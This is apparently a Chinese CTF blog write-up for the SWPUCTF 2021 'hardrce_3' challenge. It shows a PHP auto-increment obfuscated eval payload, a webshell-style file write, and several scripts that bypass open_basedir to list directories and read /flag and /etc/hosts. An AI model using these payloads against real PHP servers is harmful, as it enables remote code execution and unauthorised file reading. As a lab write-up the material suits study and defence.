NSS日刷-[SWPUCTF 2021 新生赛]hardrce_3-open_basedir绕过
过滤了异或取反构造,这里用自增
$_=[];$_=@"$_";$_=$_['!'=='@'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]);
相当于传入
eval(@_POST[_]);
尝试执行发现大部分命令执行指令都过滤了,同时设置了open_basedir,无法看到文件
这里发现file_put_contents没过滤,写入
_=file_put_contents('1.php',"<?php print_r(ini_get('open_basedir').'<br>'); mkdir('test'); chdir('test'); ini_set('open_basedir','..'); chdir('..'); chdir('..'); chdir('..'); ini_set('open_basedir','/'); echo file_get_contents('/flag'); print(1);?> ");
访问1.php
如果上传有问题可先上传一句话木马,用蚁剑连接用它那个来上传
open_basedir绕过脚本
获取目录
<?php print_r(ini_get('open_basedir').'<br>'); $dir_array = array(); $dir = new DirectoryIterator('glob:///*'); foreach($dir as $d){ $dir_array[] = $d->__toString(); } $dir = new DirectoryIterator('glob:///.*'); foreach($dir as $d){ $dir_array[] = $d->__toString(); } sort($dir_array); foreach($dir_array as $d){ echo $d.' '; } ?>
<?php print_r(ini_get('open_basedir').'<br>'); $dir_array = array(); $dir = new FilesystemIterator('glob:///*'); foreach($dir as $d){ $dir_array[] = $d->__toString(); } $dir = new FilesystemIterator('glob:///.*'); foreach($dir as $d){ $dir_array[] = $d->__toString(); } sort($dir_array); foreach($dir_array as $d){ echo $d.' '; } show_source(__FILE__); ?>
读取文件
<?php show_source(__FILE__); print_r(ini_get('open_basedir').'<br>'); mkdir('test'); chdir('test'); ini_set('open_basedir','..'); chdir('..'); chdir('..'); chdir('..'); ini_set('open_basedir','/'); echo file_get_contents('/etc/hosts'); ?>
<?php show_source(__FILE__); mkdir("1");chdir("1"); mkdir("2");chdir("2"); mkdir("3");chdir("3"); mkdir("4");chdir("4"); chdir("..");chdir("..");chdir("..");chdir(".."); symlink("1/2/3/4","tmplink"); symlink("tmplink/../../../../etc/hosts","bypass"); unlink("tmplink"); mkdir("tmplink"); echo file_get_contents("bypass"); ?>
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 地球OL攻略 —— 某应届生求职总结
· 周边上新:园子的第一款马克杯温暖上架
· Open-Sora 2.0 重磅开源!
· 提示词工程——AI应用必不可少的技术
· .NET周刊【3月第1期 2025-03-02】